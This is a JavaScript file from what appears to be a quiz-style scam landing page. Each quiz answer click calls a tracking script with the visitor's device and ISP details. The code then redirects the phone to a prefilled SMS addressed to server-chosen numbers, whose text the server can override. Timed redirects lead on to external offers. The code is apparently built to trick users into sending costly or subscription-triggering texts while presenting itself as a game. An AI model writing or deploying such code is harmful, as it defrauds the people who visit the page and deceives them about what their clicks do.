document.addEventListener("DOMContentLoaded", function(event) {

        var msg_step = 0;
        var respuesta = '';

        var elements = document.getElementsByClassName("answer");

        var myFunction = function() {
            var answer = this.getAttribute("data-answer");
            var question_num = this.getAttribute("data-qnum");

            var sms = '';

            if(question_num == '1'){
                msg_step = 1;
                origSms = sms1; // orig sms message
                sms = sms1;
            }else if(question_num == '2'){
                msg_step = 2;
                origSms = sms2; // orig sms message
                sms = sms2.replace('{respuesta}', answer);
            }else if(question_num == '3'){
                msg_step = 3;
                origSms = sms3; // orig sms message
                sms = sms3.replace('{respuesta}', answer);
            }else if(question_num == '4'){
                msg_step = 4;
                origSms = sms4; // orig sms message
                sms = sms4.replace('{respuesta}', answer);
            }

            sendsms(sms, answer);

        };

        for (var i = 0; i < elements.length; i++) {
            elements[i].addEventListener('click', myFunction, false);
        }


        function sendsms(respuesta, answer){

            var xhr = new XMLHttpRequest();
            xhr.open('GET', 'makeTrackerDownload.php?a=WEBSMS&s=5002263226947716&t=1742375049&cid=359&pid=1827&c=NO&ua=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%3B+rv%3A134.0%29+Gecko%2F20100101+Firefox%2F134.0&isp=blix+solutions&auto=0&dev=pc&lang=en&type=games&step=1&next_step=1&stepds=1&groupds=137&caf=5002263226947716&domain=d.kolinrazor.top&protocol=https&tracking=2de66693-508f-4979-b734-ccf35288c5fb&randKey=5002263226947716&enc=0651739672bb3cb091113ca655c1d5e8f5322edcba3a1c7f89f2f9f3d89fb90f&origSms=' + origSms + '&step=' + new_step);
            xhr.onload = function() {
                if (xhr.status === 200) {

                    var body = xhr.response;

                    var data = JSON.parse(body);

                    var os = data.os;
                    var phoneNumbers = data.phoneNumbers;
                    urlContent = data.urlContent;
                    af = (data.codeAF) ? data.codeAF : af; // return codeAF each click if exist - else the old AF

                    var urlTo = '';

                    message = respuesta;
                    message = message.replace('{af}', af);
                     //message = '//'+ af +'//'; // force msg

                    // forced Message || force from makeTrackerDownload.php    $return_data['forceMessage'] = 'msg here'
                    if(data.forceMessage) { message = data.forceMessage; }


                    if(os == 'iphone'){
                        urlTo = "sms://open?addresses=" + phoneNumbers + "/&body=" + encodeURIComponent(message);
                    }else{
                        urlTo = "sms:" + phoneNumbers + "?body=" + encodeURIComponent(message);
                    }

                    window.location.href = urlTo;


                    if(step == 1){

                        if(successRate >= 0 && successRate <= 0.01){
                            setTimeout(function(){

                                window.location.href = externOffer;

                            }, 5000);
                        }else{

                            setTimeout(function(){

                                step += 1;
                                new_step += 1;

                                document.getElementById('cont_preg1').style.display = 'none';
                                document.getElementById('cont_preg2').style.display = 'block';

                            }, 5000);

                        }
                    }else if(step == 2){

                        setTimeout(function(){

                            step += 1;
                            new_step += 1;

                            document.getElementById('cont_preg2').style.display = 'none';
                            document.getElementById('confirm2').innerHTML = '<span style="font-family: Helvetica, Arial, sans-serif; margin-top: 5px;">' + confirm + '</span>' + '<br>' + answer;
                            document.getElementById('cont_preg3').style.display = 'block';

                        }, 5000);

                    }else if(step == 3){

                        setTimeout(function(){

                            step += 1;
                            new_step += 1;

                            document.getElementById('cont_preg3').style.display = 'none';
                            document.getElementById('confirm3').innerHTML = '<span style="font-family: Helvetica, Arial, sans-serif; margin-top: 5px;">' + confirm + '</span>' + '<br>' + answer;
                            document.getElementById('cont_preg4').style.display = 'block';

                        }, 5000);

                    }else{


                        setTimeout(function(){

                            new_step += 1;

                            window.location.href = loopURL + '&step=' + new_step;

                        }, 5000);



                    }



                }
            };
            xhr.send();

        }

    });